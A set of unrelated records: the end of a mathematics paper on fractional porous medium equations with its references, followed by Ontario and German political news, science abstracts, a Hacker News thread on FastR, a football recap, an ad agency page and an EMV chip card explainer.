0}\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde\\sN^{\\nu^\\eps}_r f(X_r)\\dif r \\right)&=\\mE^{\\mQ} \\left(g_s\\int^t_s\\widetilde\\sN^\\nu_r f(X_r)\\dif r\\right).\\end{aligned}$$ The first two limits can be proved by following the arguments as in [@Fi; @Tr]. ", "We show the last one, which is more difficult. ", "Let $\\eta_{t,x}(\\dif z)$ be as given by Lemma \\[imp\\], and recall that $\\nu^\\eps$ is defined by (\\[neps\\]). ", "We write $$\\begin{aligned}\n&\\left|\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde\\sN^{\\nu^\\eps}_r f(X_r)\\dif r \\right)-\\mE^{\\mQ} \n\\left(g_s\\int^t_s\\widetilde\\sN^\\nu_r f(X_r)\\dif r\\right)\\right|\\\\\n&\\leq\\left|\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde\\sN^{\\nu^\\eps}_r f(X_r)\\dif r \\right)-\\mE^{\\mQ^\\eps} \n\\left(g_s\\int^t_s\\widetilde\\sN^{\\eta_\\eps}_r f(X_r)\\dif r\\right)\\right|\\\\\n&+\\left|\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde\\sN^{\\eta^\\eps}_r f(X_r)\\dif r \\right)-\\mE^{\\mQ^\\eps} \\left(g_s\\int^t_s\\widetilde\\sN^{\\eta}_r f(X_r)\\dif r\\right)\\right|\\\\\n&+\\left|\\mE^{\\mQ^\\eps}\\left (g_s\\int^t_s\\widetilde\\sN^{\\eta}_r f(X_r)\\dif r \\right)-\\mE^{\\mQ} \\left(g_s\\int^t_s\\widetilde\\sN^\\eta_r f(X_r)\\dif r\\right)\\right|\\\\\n&+\\left|\\mE^{\\mQ}\\left (g_s\\int^t_s\\widetilde\\sN^{\\eta}_r f(X_r)\\dif r \\right)-\\mE^{\\mQ} \\left(g_s\\int^t_s\\widetilde\\sN^\\nu_r f(X_r)\\dif r\\right)\\right|\n=:\\sum_{i=1}^4I_i(\\eps),\\end{aligned}$$ where $\\eta^\\eps$ is defined similarly as in (\\[neps\\]) with $\\nu$ being replaced by $\\eta$. For $I_1(\\eps)$, by definition, we have $$\\begin{aligned}\nI_1(\\eps)&\\leq\\|g_s\\|_\\infty\\mE^{\\mQ^\\eps}\\left(\\int^t_s|\\widetilde\\sN^{\\nu^\\eps}_r f(X_r)-\\widetilde\\sN^{\\eta^\\eps}_r f(X_r)|\\dif r\\right)\\\\\n&=\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|\\widetilde\\sN^{\\nu^\\eps}_r f(x)-\\widetilde\\sN^{\\eta^\\eps}_r f(x)|\\mu^\\eps_r(x)\\dif x\\dif r\\\\\n&=(1-\\eps)\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|\\widetilde\\sN^{\\bar\\nu^\\eps}_r f(x)-\\widetilde\\sN^{\\bar\\eta^\\eps}_r f(x)|\\dif x\\dif r\\\\\n&=(1-\\eps)\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}\\left|\\int_{\\mR^d}\\Theta^\\pi_f(x;z)(\\bar\\nu^\\eps_{r,x}-\\bar\\eta^\\eps_{r,x})(\\dif z)\\right|\\dif x\\dif r,\\end{aligned}$$ where $\\Theta^\\pi_f(x;z)$ is defined by and $$\\bar\\nu^\\eps_{r,x}(\\dif z):=\\int_{\\mR^{d+1}}\\rho_\\eps(r-s,x-y)\\nu_{s,y}(\\dif z)\\mu_s(\\dif y)\\dif s.$$ By Fubini’s theorem we further have $$\\begin{aligned}\nI_1(\\eps)&\\leq\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}\\bigg|\\int_{\\mR^{d+1}}\\rho_\\eps(r-s,x-y)\\\\\n&\\qquad\\qquad\\qquad\\qquad\\quad\\times\\Big(\\widetilde\\sN^{\\nu_{s,y}}f(x)-\\widetilde\\sN^{\\eta_{s,y}}f(x)\\Big)\\mu_s(\\dif y)\\dif s\\bigg|\\dif x\\dif r\\\\\n&\\leq\\|g_s\\|_\\infty\\int^T_0\\!\\!\\!\\int_{\\mR^d}\\sup_{x\\in B_1(y)}|\\widetilde\\sN^{\\nu_{s,y}}f(x)-\\widetilde\\sN^{\\eta_{s,y}}f(x)|\\mu_s(\\dif y)\\dif s\n\\stackrel{\\eqref{LP2}}{\\leq}\\|g_s\\|_\\infty\\delta.\\end{aligned}$$ For $I_2(\\eps)$, recalling , we have $$\\begin{aligned}\nI_2(\\eps)&\\leq\\|g_s\\|_\\infty\\mE^{\\mQ^\\eps}\\left(\\int^t_s|\\widetilde\\sN^{\\eta^\\eps}_r f(X_r)-\\widetilde\\sN^{\\eta}_r f(X_r)|\\dif r\\right)\\\\\n&=\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|\\widetilde\\sN^{\\eta^\\eps}_r f(x)-\\widetilde\\sN^{\\eta}_r f(x)|\\mu^\\eps_r(x)\\dif x\\dif r\\\\\n&=\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|(1-\\eps)\\widetilde\\sN^{\\bar\\eta^\\eps}_r f(x)-\\mu^\\eps_r(x)\\widetilde\\sN^{\\eta}_r f(x)|\\dif x\\dif r\\\\\n&\\leq(1-\\eps)\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}\\int_{\\mR^{d+1}}\\rho_\\eps(r-s,x-y)\\\\\n&\\quad\\times|\\widetilde\\sN^{\\eta_{s,y}}f(x)-\\widetilde\\sN^{\\eta_{r,x}}f(x)|\\mu_s(\\dif y)\\dif s\\dif x\\dif r\\\\\n&\\quad+\\eps\\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|\\phi(x)\\widetilde\\sN^{\\eta}_r f(x)|\\dif x\\dif r.\\end{aligned}$$ Since $(s,y,x)\\mapsto \\widetilde\\sN^{\\eta_{s,y}} f(x)$ is continuous and $\\|\\widetilde\\sN^\\eta f\\|_\\infty<\\infty$, by the dominated convergence theorem, we get $$\\lim_{\\eps\\to 0}I_2(\\eps)=0.$$ Concerning $I_3(\\eps)$, it follows by the definition of weak convergence that $$\\lim_{\\eps\\to 0}I_3(\\eps)=0.$$ For $I_4(\\eps)$, we have $$I_4(\\eps)\\leq \\|g_s\\|_\\infty\\int^t_s\\int_{\\mR^d}|\\widetilde\\sN^{\\eta}_r f(x)-\\widetilde\\sN^{\\nu}_r f(x)|\\mu_r(\\dif x)\\dif r\\stackrel{\\eqref{LP2}}{\\leq}\\|g_s\\|_\\infty\\delta.$$ The proof is complete.", "\n\nProof of Theorem \\[main1\\]\n==========================\n\nLet $u$ be the unique weak solution of FPME (\\[pde\\]) given by Theorem \\[t1\\] with initial value $\\varphi\\geq 0$ being bounded and $\\int_{\\mR^d}\\varphi(x)\\dif x=1$. Let $$\\sigma_t(x):=|u(t,x)|^{\\frac{m-1}{\\alpha}},\\ \\ \\kappa_t(x):=u(t,x)^{m-1},\\ \\nu_{t,x}(\\dif z):=\\tfrac{\\kappa_t(x)\\dif z}{|z|^{d+\\alpha}}.$$ By the change of variable we have $$\\begin{aligned}\n\\label{41}\n\\nu_{t,x}(A)=\\int_{\\mR^d}\\1_{A}(\\sigma_t(x) z)\\frac{\\dif z}{|z|^{d+\\alpha}},\\ \\ A\\in\\sB(\\mR^d\\setminus\\{0\\}),\\end{aligned}$$ and $$\\sN_t f(x):={\\rm P.V.}\\int_{\\mR^d}(f(x+\\sigma_t(x)z)-f(x))\\frac{\\dif z}{|z|^{d+\\alpha}}=\\kappa_t(x)\\Delta^{\\alpha/2},$$ where the second equality is due to . ", "By Definition \\[Def10\\] it is easy to see that $u(t,x)$ solves the following non-local FPE: $$\\p_t u=\\sN^*_t u,\\ \\ u(0,x)=\\varphi(x),$$ that is, for every $t>0$ and $f\\in C_0^2(\\mR^d)$, $$\\begin{aligned}\n&\\int_{\\mR^d}f(x)u(t,x)\\dif x=\\int_{\\mR^d}f(x)\\varphi(x)\\dif x+\\int_0^t\\!\\!\\int_{\\mR^d}\\kappa_s(x) \\Delta^{\\alpha/2}f(x)u(s,x)\\dif x\\dif s.\\end{aligned}$$ Note that for each $t>0$, $$|\\sigma_t(x)|=|u(t,x)|^{\\frac{m-1}{\\alpha}}\\leq \\|\\varphi\\|_\\infty^{\\frac{m-1}{\\alpha}}.$$ Thus, by Example \\[br2\\] with the above $\\nu_{t,x}$ and Theorem \\[Main\\] with $\\mu_0(\\dif x)=\\varphi(x)\\dif x,$ there is a martingale solution $\\mP\\in\\sM^{\\mu_0}_0(\\cN_t)$ so that $$\\mP\\circ X^{-1}_t(\\dif x)=u(t,x)\\dif x,\\ \\ t\\geq 0.$$ By and [@J-S Theorem 2.26, p.157], there are a stochastic basis $(\\Omega,\\cF,\\bP; (\\cF_t)_{t\\geq 0})$ and a Poisson random measure $N$ on $\\mR^d\\times [0,\\infty)$ with intensity $|z|^{-d-\\alpha}\\dif z\\dif t$, as well as an $\\cF_t$-adapted càdlàg process $Y_t$ such that $$\\bP\\circ Y^{-1}_t(\\dif x)=\\mP\\circ X^{-1}_t(\\dif x),\\ \\ t\\geq 0,$$ and $$\\dif Y_t=\\int_{|z|\\leq 1}\\sigma_t(Y_{t-})z\\tilde N(\\dif z,\\dif t)+\\int_{|z|>1}\\sigma_t(Y_{t-})z N(\\dif z, \\dif t),$$ where $\\tilde N(\\dif z,\\dif t):=N(\\dif z,\\dif t)-|z|^{-d-\\alpha}\\dif z\\dif t$. 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", "Springer-verlag, 1987.", "\n\nPablo A., Quirós F., Rodrïguez A. and Vázquez J.: A general fractional porous medium equation. [*", "Commun. ", "Pure App. ", "Math.*]{}, [**", "65**]{} (2012), 1242–1284.", "\n\nRen, J., Röckner, M. and Wang, F.-Y.: Stochastic generalized porous media and fast diffusion equations. [*", "J. Differential Equations*]{}, 238 (2007), no. ", "1, 118-152.", "\n\nRevuz D. and Yor M.: [*Continuous Martingales and Brownian Motion*]{}, third ed., ", "in: Grundlehren der Mathematischen Wissenschaften, vol. ", "293, Springer, 2005.", "\n\nRöckner M. and Zhang X.: Weak uniqueness of Fokker-Planck equations with degenerate and bounded coefficients. [*", "Comptes Rendus Mathematique*]{}, 348, 435-438(2010).", "\n\nRöckner M. and X. Zhang: Well-posedness of distribution dependent SDEs with singular drifts. ", "https://arxiv.org/pdf/1809.02216.pdf.", "\n\nScheutzow M.: A stochastic Gronwall’s lemma. [*", "Infinite Dimensional Anal., ", "Quantum Probab. ", "and Related Top.*]{}, [**", "16**]{} (2013), 1350019 (4 pages).", "\n\nSchilling R.L.: Conservativeness and Extensions of Feller Semigroups. [*", "Positivity*]{}, 2: 239-256, 1998.", "\n\nStepanov E. and Trevisan D.: Three superposition principles: currents, continuity equations and curves of measures. [*", "J. Funct. ", "Anal.*]{}, [**", "272**]{} (2017), 1044–1103.", "\n\nStroock D. W.: Diffusion processes associated with Lévy generators. [*", "Z. Wahr. ", "verw. ", "Gebiete*]{}, [**32**]{} (1975), 209–244.", "\n\nStrook D. W. and Varadhan S. R. S.: [*Multidimensional Diffusion Processes.*]{} ", "Springer-Verlag Berlin Heidelberg, 2006.", "\n\nTrevisan D.: Well-posedness of multidimensional diffusion processes with weakly differentiable coefficients. [*", "Electron J. Probab.*]{}, [**", "21**]{} (2016), 1–41.", "\n\nVázquez J. L.: Recent progress in the theory of nonlinear diffusion with fractional Laplacian operators. [*", "Discrete Contin. ", "Dyn. ", "Syst.*]{}, [**", "7**]{} (2014), 857–885.", "\n\nVázquez J. L.: The mathematical theories of diffusion: nonlinear and fractional diffusion. ", "In “Nonlocal and Nonlinear Diffusions and Interactions: New Methods and Directions, volume 2186 of Lecture Notes in Math., ", "205–278. ", "Springer, 2017.", "\n\nXie L. and Zhang X.: Ergodicity of stochastic differential equations with jumps and singular coefficients. ", "To appear in [*Ann. ", "Inst. ", "Henri Poincaré Probab. ", "Stat.*]{}, ", "https://arxiv.org/pdf/1705.07402.pdf.", "\n\nZhang X.: Degenerate irregular SDEs with jumps and application to integro-differential equations of Fokker-Planck type. [*", "Electron. ", "J. Probab.*]{}, [**", "18**]{} (2013), 1–25.", "\n\n[^1]: This work is supported by NNSF of China (No. ", "11731009, 11931004), NSF of Jiangsu (BK20170226) and the DFG through the CRC 1283 “Taming uncertainty and profiting from randomness and low regularity in analysis, stochastics and their applications”.", "\n" ]

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[ "TORONTO\n\nThe Province of Ontario’s credit rating has been downgraded over rising deficits and doubts the government can balance the books as promised by 2017/18.", "\n\nFitch Ratings has lowered the province’s credit rating to ‘AA-’ from ‘AA,’ citing the rising red ink under Premier Kathleen Wynne.", "\n\n“Fitch is concerned that the province has planned for a second consecutive increase in the annual deficit this year to $12.5 billion,” the agency says in a statement. “", "Fitch believes expenditure targets will continue to be challenging to achieve.", "\n\n“Even if the province achieves its budget balance goal by fiscal 2018, it will be left with a sizable accumulated deficit and large debt burden that will have grown from current levels and is more consistent with a rating level of ‘AA-’.”", "\n\nOntario Auditor General Bonnie Lysyk reported earlier this month that the province will be about $325 billion in debt by 2017/18.", "\n\nIn a statement issued Friday in response to Fitch’s announcement, Finance Minister Charles Sousa said the government has made a number of strategic investments to spur economic growth and job creation following the global recession in 2008-09.", "\n\nThe budget will be balanced as forecast through measures that constrain annual program spending growth to 1.1%, he said.", "\n\nThe government has established savings targets of $250 million this year and $500 million in each of the following two years, he said.", "\n\n“We will continue to be mindful of how we spend each dollar and are focused on eliminating the deficit while making the necessary investments to grow our economy,” Sousa said.", "\n\nInterest payments on debt are still expected to be lower than forecast in this year’s budget, he said.", "\n\nProgressive Conservative Finance Critic Vic Fedeli said the government has been repeatedly warned that it needs to get its fiscal house in order or risk a downgrade.", "\n\n“The Province of Ontario cannot afford higher borrowing costs at a time we have a $12.5 billion deficit and pay $11 billion a year in interest on our debt, and when cuts are already starting to erode health care and other services that we hold dear,” Fedeli said in a statement. “", "Fitch says ‘difficult actions will be necessary’ to meet the government’s deficit elimination target. ", "It’s time for Kathleen Wynne to take substantial action and to start taking the consequences of the fiscal hole she’s dug us into seriously.”", "\n\nFitch said it would view strong growth in GDP and steady progress in lowering the debt burden as positive credit factors." ]

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[ "Nonlinear diffractive optical elements.", "\nWe propose diffractive optical elements with a spatially-varying nonlinear refractive index. ", "Such a component acts as a diffractive optical element whose properties depend on the intensity of the incoming beam. ", "We present a method for designing such elements, and as specific examples we study three types of nonlinear diffractive optical elements: Nonlinear Fresnel Zone Plates, Two-foci Nonlinear Fresnel Zone Plate, and Fresnel Zone Plate to Grating interpolator." ]

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[ "\nAn implementation of the R Language in Java - ghosthamlet\nhttps://github.com/allr/fastr\n======\nsramsay\nYe Gods! ", "Do you mean to say that this is not an implementation of x in\nJavascript? [", "1]\n\n[1] Values for x might include Linux, the XBox, the Apollo Guidance Computer,\nIntercal, Apache, the French language, the Haskell compiler, Hacker News, Call\nof Duty, iOS, and Javascript.", "\n\n------\nCreate\n<https://code.google.com/p/renjin/>\n\n~~~\nfelixr\nFrom a quick glance I see the following differences:\n\nRenjin\n\n \n \n - development started in 2011\n - GPL v3 licensed\n - working on a custom JIT compiler\n \n\nfastr\n\n \n \n - development started Aug 2012\n - Apache v2 License\n - uses Truffle and the Graal JIT\n\n------\nsimonster\n> \"FastR is can run the R implementation of the Language Shootout Benchmarks.\"", "\n\nCan someone show us the results of these benchmarks? ", "As recently discussed in\n<https://news.ycombinator.com/item?id=5565056>,\n<http://benchmarksgame.alioth.debian.org/> lists only the most popular\nimplementation of each language, so it seems like they'll never show up there.", "\n\n------\ncschmidt\nSo do either fastr or renjin allow the use of R packages that use C or Fortran\ncode? ", "So much of the value of R is locked in packages. ", "It is kind of the same\nissue as PyPy, only more so with R.\n\n------\nbatgaijin\nwhy not use something like incanter?", "\n\n~~~\nmichaelochurch\nMy exact thought. ", "R has great tools but the language is wonky. ", "That's not a\ndig against them. ", "It wasn't designed by language designers. ", "However, its\ninteractive nature is _great_ for data scientists. ", "So it seems like Clojure\n(possibly Scala) is a better fit than Java.", "\n\n~~~\nCreate\nit isn't the R syntax, as a language, it is rather the package ecosystem and\nthe invested resources it encapsulates.", "\n\n~~~\nmichaelochurch\nI'm confused. ", "Are you saying that the package ecosystem is what makes R\nattractive, or that it's what makes it inscrutable?", "\n\n~~~\ncschmidt\nI'm sure he's saying that package ecosystem is what makes R attractive.", "\n\n" ]

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[ "Effects of heptaminol AMP amidate (HAA) on cyclic AMP level and mitogen-induced proliferation of murine spleen cells.", "\nHeptaminol AMP amidate (HAA), a nucleotide derivative, was found to elevate the intracellular cyclic AMP (cAMP) level of cultured mice spleen cells in a time- and dose-dependent manner. ", "Theophylline and imidazole, when added to the spleen cell culture simultaneously with HAA, respectively caused a further rise and a fall of the cAMP level increased by HAA alone. ", "When comparatively higher doses of the T cell mitogen concanavalin A (Con A) were used in the culture, Con A-induced cell proliferation was mildly inhibited in the culture of spleen cells pooled from HAA administered mice in comparison to the culture of spleen cells pooled from saline treated mice. ", "On the other hand, when another T cell mitogen phytohemagglutinin P (PHA) was used in different concentrations in the culture, there was a trend of enhanced cell proliferation in the culture of spleen cells pooled from HAA administered mice in comparison to the responses in the culture of spleen cells pooled from saline treated mice. ", "The present results supported the previous findings that HAA-mediated immunopotentiation was closely related with a cAMP level elevating property of HAA, and the compound also enhanced the function of helper T cells." ]

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[ "International advertising agency\n\nOnline advertising agency\n\nWe talior digital campaigns to the target audience so making less wastage within the digital marketplace. ", "We start with test budgets to fully understand the potential across the many premium sites that we operate on.", "\n\nGet in touch\n\nYour Name (required)\n\nYour Email (required)\n\nYour Telephone (required)\n\nYour Message\n\nIf you are interested in advertising on television, radio, in the press or outdoors, please contact us to find out what we can do for you." ]

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[ "CORVALLIS, Ore. -- -- Sean Mannion threw for 267 yards and two touchdowns and Oregon State defeated the mistake-prone Arizona Wildcats 37-27 on Saturday for the Beavers' first victory of the season.", "\n\nQuarterback Nick Foles was intercepted twice and the Wildcats (1-5, 0-3 Pac-12) lost two fumbles in their fifth straight loss overall and eighth straight conference loss.", "\n\nOregon State (1-4, 1-2) led 27-6 at halftime and nearly squandered it but held on to snap a six-game losing streak dating to last season.", "\n\nWith only a narrow 30-27 lead and 5:22 left, Oregon State went for it on fourth-and-2 -- succeeding when Mannion hit diving tight end Joe Halahuni for the touchdown.", "\n\nThe Beavers made a crucial stand on the other end when the Wildcats also took a chance on fourth down with two yards to go, and Dan Buckner couldn't catch Foles' pass in the end zone.", "\n\nFoles completed 31 of 45 passes for 378 yards and a touchdown to Buckner, who caught eight passes for 144 yards.", "\n\nMannion, a redshirt freshman who didn't become the Beavers' official starter until the third game of the season, completed 32 of 41 passes.", "\n\nThe Wildcats were hurt early after starting wide receiver Juron Criner left with what appeared to be a right knee injury. ", "Criner, ranked second in career touchdown catches for the Wildcats, has three this season.", "\n\nThe Beavers went up on Jovan Stevenson's 1-yard touchdown run, then extended it in the second quarter when Clayton York blocked an Arizona punt and ran the ball back for a score.", "\n\nArizona answered with Foles' 28-yard TD pass to Buckner, but Alex Zendejas' extra-point attempt was wide left to make it 14-6.", "\n\nThe Beavers pulled off a fake punt to keep alive a drive that ended with Trevor Romaine's 37-yard field goal. ", "On Arizona's ensuing drive, Foles' arm was hit and he was intercepted by Michael Doctor and the Beavers capitalized with Mannion's 3-yard scoring pass to Halahuni.", "\n\nThe Wildcats had one more chance in the first half, but fumbled and gave the ball back to the Beavers, who got a 40-yard field goal from Romaine.", "\n\nArizona running back Daniel Jenkins fumbled on Arizona's first drive of the second half and Beavers safety Lance Mitchell recovered, before the Beavers went up 30-6 on Romaine's 20-yard field goal.", "\n\nThe Wildcats had a scary moment midway through the third quarter when Foles was hit hard and stayed prone on the field for several moments while trainers attended to him. ", "After he made his way to the sidelines, Keola Antolin ran 13 yards for a score. ", "Foles came back and completed the two-point conversion pass to David Douglas.", "\n\nThe Wildcats' rally continued when Mannion was intercepted by Shaquille Richardson, who ran it back 20 yards for a touchdown. ", "This time the two-point try failed, but Arizona was back in it at 30-20.", "\n\nOregon State missed a chance to extend its lead when James Rodgers' catch in the end zone was called back by a penalty and Romaine's 42-yard field goal attempt at the end of the third quarter went wide left.", "\n\nArizona pulled to within 30-27 early in the fourth quarter on Ka'Deem Carey's 1-yards scoring run.", "\n\nThe Wildcats have struggled this season with a brutal schedule, with losses to top-10 teams Oklahoma State, Stanford and Oregon, as well as their 48-41 loss last weekend at USC.", "\n\nThe Beavers were off to their worst start since 1996. ", "After a season-opening overtime loss to lower-division Sacramento State, Oregon State dropped games to Wisconsin, UCLA and Arizona State.", "\n\nLast season, Foles threw for 440 yards and three touchdowns against the Beavers, but Oregon State pulled out a 29-27 upset over the then-No. ", "9 Wildcats. ", "Rodgers went down with a knee injury in that game that would require two surgeries and keep him out until the Beavers' third game this season.", "\n\nThe Beavers without true freshman Malcolm Agnew, who rushed for 223 yards in the opener, because of a hamstring injury that has forced him to miss the past five games." ]

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[ "Growth inhibition of human acute promyelocytic leukemia NB-4 cells by interferons and all-trans retinoic acid: trans-modulation of inducible gene expression pathways.", "\nRegulation of cell proliferation appears to be a complex process involving the regulated expression and/or interaction of gene regulatory pathways stimulated by binding of specific growth regulators such as inteferons (IFN) and all-trans retinoic acid (RA) to their respective receptors. ", "We investigated the growth regulation of human acute promyelocytic leukemia NB-4 cells by combinations of IFNs and RA, and explored the possible biochemical interactions between IFNs and RA by studying the regulation of expression of IFN- and RA-inducible cellular pathways by RA and IFN respectively. ", "We observed that combinations of IFNs and RA inhibited NB-4 cell growth significantly more than either agent alone. ", "Analysis of cellular inducible pathways demonstrated that RA augmented levels of gene expression: (i) induced by IFN-alpha such as 2'-5'-oligoadenylate synthetase, mRNA 561 and mRNA 6-16; (ii) induced by IFN-gamma such as 2A and P56; and (iii) induced by both IFN-alpha and IFN-gamma such as mRNA 1-8. ", "Furthermore, IFNs also augmented the expression of RAR-alpha mRNA and RAR-alpha. ", "Co-treatment of NB-4 cells by IFN-gamma plus RA induced a sub-set of IFN-induced genes which were not induced by either IFN-gamma or RA alone. ", "These results suggest that gene inducing interactions, the transregulation of IFN-inducible and RA-inducible gene expression pathways by RA and IFNs, respectively, may be closely related to the potentiation of growth inhibition of NB-4 cells by combinations of IFNs and RA. ", "These findings may be useful in establishing a rationale for using IFNs and RA or combinations of IFNs and RA in the treatment of acute promyelocytic leukemia." ]

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[ "\"Freiberger Thesen\"\n\nvon Bernhard Honnigfort schließen\n\nIn der sächsischen CDU formiert sich offener Widerstand gegen Kanzlerin Merkel. ", "Ihr Rücktritt wird gefordert. ", "Außerdem sollen Bündnisse mit der AfD möglich sein.", "\n\nDie Bundestagswahl verloren, die Stimmung am Boden, es rumort gewaltig: In der sächsischen CDU formiert sich offener Widerstand gegen die Berliner und Dresdner Führung der Union. ", "Die CDU in der erzgebirgischen Universitätsstadt Freiberg fordert laut und deutlich den Rücktritt von Parteichefin und Bundeskanzlerin Angela Merkel. ", "Außerdem, so der örtliche Vorsitzende und Baubürgermeister Holger Reuter, solle die sächsische CDU ernsthaft über Bündnisse mit der AfD nachdenken: „Wenn sich die AfD stabilisiert und zu einer Politik kommt, die dem Bürger auch wirklich Wege zeigt, wie es besser werden kann, dann halte ich persönlich auch eine Koalition mit der AfD für möglich“, sagte er dem MDR.", "\n\nReuter und andere Christdemokraten haben vor Wochen bereits Forderungen aufgeschrieben, was sich alles in der CDU ändern müsse. ", "In den „Freiberger Thesen“, wie der Katalog überschrieben ist, fordern Christdemokraten nicht nur Merkels Rücktritt, sondern auch den von CDU-Generalsekretär Peter Tauber. ", "Inhaltlich mahnen die Erzgebirger Dinge an wie einen sofortigen Aufnahmestopp von Flüchtlingen und sofortige Abschiebungen, ein Ende aller Sanktionen gegen Russland, keine Verschärfungen im Umweltrecht, Braunkohle als Brückentechnologie und eine sächsische CDU, die wieder den „Charakter einer Volkspartei“ haben soll.", "\n\nSächsische CDU will Volkspartei sein\n\nÄhnliche Forderungen wurden auch vergangene Woche erhoben, als sich in Dresden Christdemokraten aus ganz Sachsen getroffen hatten, um über die Folgen der Bundestagswahl zu sprechen. ", "Ministerpräsident Stanislaw Tillich hatte nach dem „Desaster“ (Tillich) überraschend seinen Rücktritt angekündigt und den Generalsekretär Michael Kretschmer als Nachfolger vorgeschlagen. ", "Tillich will nicht mehr, ihm fehlen Kraft und Zuversicht für eine Kandidatur bei der Landtagswahl 2019.", "\n\nSeitdem rumpelt es gewaltig in der Partei, die seit 27 Jahren in Sachsen regiert. ", "Auch auf dem Dresdner Treffen hatten einige Christdemokraten Merkels Rückzug gefordert. ", "Ob das allerdings schon eine weit verbreitete Stimmung in der sächsischen CDU widergibt, ist schwer einzuschätzen. ", "In Dresdner Regierungskreisen will man das aber gar nicht mehr ausschließen. ", "Jörg Woidniok, Chef der Freiberger CDU-Kreistagsfraktion, meinte vergangene Woche dazu: „Merkel hat die Partei in die Krise geführt. ", "Sie hat die Partei in dieses desaströse Wahlergebnis geführt. ", "Ich halte es für eine Frage des Anstandes und der Ehre für eine Parteivorsitzende, nach so einem Wahlergebnis die Konsequenz zu ziehen und zurückzutreten von ihrem Amt!\" ", "Die CDU-Bundestagsabgeordnete Veronika Bellmann meinte im im Chemnitzer Wochenendspiegel: „Die Freiberger Thesen drücken aus, was die Mehrheit der Mitglieder der Partei denkt und fühlt. ", "Da kann es in der Parteiführung kein Weiter so wie bisher geben.“", "\n\nViele fordern Rücktritt von Merkel\n\nEtliche Christdemokraten wollen ihren sächsischen CDU-Landesverband anders ausrichten, nämlich deutlich gegen die Parteiführung und die Bundesregierung in Berlin. ", "Der Landtagsabgeordnete Steve J. Ittershagen fordert, die sächsische CDU solle „insbesondere im Hinblick auf die Berliner Politik mit einer klaren und bundesweit vernehmbaren Stimme sächsische und deutsche Interessen vertreten\".", "\n\nBei der Bundestagswahl hatte die sächsische CDU 26,9 Prozent erreicht und war damit hinter der AfD (27) zweiter geworden. ", "Die AfD hatte drei Wahlkreise direkt gewonnen, unter anderem auch den des CDU-Generalsekretärs Kretschmer aus Görlitz, der damit aus dem Bundestag flog und nun die niedergeschlagene und aufgewühlte Partei wieder aufrichten soll. ", "Der 42-Jährige soll Anfang Dezember zum neuen CDU-Landesvorsitzenden gewählt werden, etwas, das auch etlichen in Sachsens CDU missfällt, weil man in ihm den Hauptverantwortlichen für die Niederlage in Sachsen sieht. ", "Danach muss der Landtag Kretschmer zum Ministerpräsidenten wählen. ", "In Dresden geht man davon aus, dass er nach erfolgreicher Wahl die Regierung aus CDU und SPD komplett umkrempeln wird." ]

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[ "Three Critical Misconceptions About EMV\n\nJuly 21, 2015 By: Kevin Xu\n\nThe EMV migration is rolling full steam ahead in the United States and it’s a tectonic shift of the nation’s payments infrastructure.", "\n\nBanks and card issuers are sending out chip cards to their customers, while retailers are deploying new terminals to support them.", "\n\nAs for how these new chip cards work, they can either be inserted into a terminal to run a chip card transaction, or swiped as you would use your magnetic stripe card today, if the terminal doesn’t yet support chip transactions.", "\n\nThis change may trigger questions for consumers and merchants that need to be answered in order to ensure a smooth transition.", "\n\nHere are some top misconceptions about chip cards, and what you need to know before October’s EMV Fraud Liability Shift.", "\n\nMisconception #1: Every merchant must be EMV-ready by this October\n\nThe October deadline for the EMV Fraud Liability Shift means that new rules will go into effect around the financial liability for fraud losses, depending on which party has implemented the least secure technology. ", "This financial responsibility could be placed on merchants, merchant acquirers, or issuing banks and financial institutions if they are not EMV-enabled, but if all parties are EMV-enabled, the liability typically stays with the card issuer.", "\n\nThese liability rules are in place to drive swift adoption of chip cards, which are safer and more secure than traditional magnetic stripe cards when used in a “face-to-face” card-present environment.", "\n\nHowever, not all terminals are included in this year’s deadline.", "\n\nAutomatic fuel dispensers and ATMs have deadlines pushed out through 2016 and 2017. ", "Therefore, some merchants are staggering and prioritizing their deployment to align with industry timelines.", "\n\nMisconception #2: Every merchant will be EMV-ready\n\nEstimates for the number of chip cards issued and the number of terminals enabled for EMV in the United States vary across industry groups and associations.", "\n\nSome groups, such as research firm Aite, predict that by the end of 2015, 70 percent of credit cards and 41 percent of debit cards will be EMV-enabled, and 59 percent of terminals will be chip-enabled. ", "Mercator Advisory Group estimates that 49 percent of terminals will be EMV-enabled.", "\n\nIt’s important to note that the U.S. payments market is complex, which has affected how quickly merchants can overcome this complexity in order to migrate to EMV technology.", "\n\nWhile some retailers have already made significant progress toward updating for EMV, other merchants are still evaluating the best path forward for their business. ", "However, if delayed too late, those merchants may become the next target for fraudsters, who look for opportunities to find the weakest link.", "\n\nSome merchants may not be ready for EMV yet, but should continue to work diligently in order to avoid becoming the target of fraud in the future. ", "Additionally, as more and more merchants become EMV-ready, those who are not ready may create an inconsistent payment experience for customers, who will eventually expect to insert, rather than swipe, their new cards at most terminals.", "\n\nReterminalization may prove to be a slow process, but one of the ways to combat this is an active and insightful merchant education campaign.", "\n\n“We believe in providing ongoing education and resources to our merchant partners, which is why we created an online EMV Resource Center on our Discover Network website,” said Ellie Smith, Head of the Discover Chip Center of Excellence.", "\n\n“The website offers resources to help merchants, acquirers, VARS, and other parties better understand the migration to EMV, and provide documentation and guidelines that will help them execute their migration more effectively. ", "The more prepared we and our partners are, the smoother the transition will be.”", "\n\nMisconception #3: EMV cards aren’t really more secure than magnetic stripe cards\n\nThere has been a lot of misinformation in the marketplace around the way that EMV works, which has led to some consumers believing that chip cards are less secure than magnetic stripe cards.", "\n\nWith EMV, every time you complete a transaction, unique data is created, making it very difficult for hackers to copy and use your credit card information.", "\n\nWhile some consumers have concerns about fraudsters reading the chip from nearby, or the chip being able to track their location, these concerns are false.", "\n\nThe ability for card information to be taken by a scanner in close proximity is a myth and, in fact, the data on the chip is more secure than the information found on a magnetic stripe.", "\n\nAdditionally, an EMV chip is not a tracking device and does not have personal information stored on it. ", "When the chip card is inserted into a chip-enabled terminal, it communicates with the 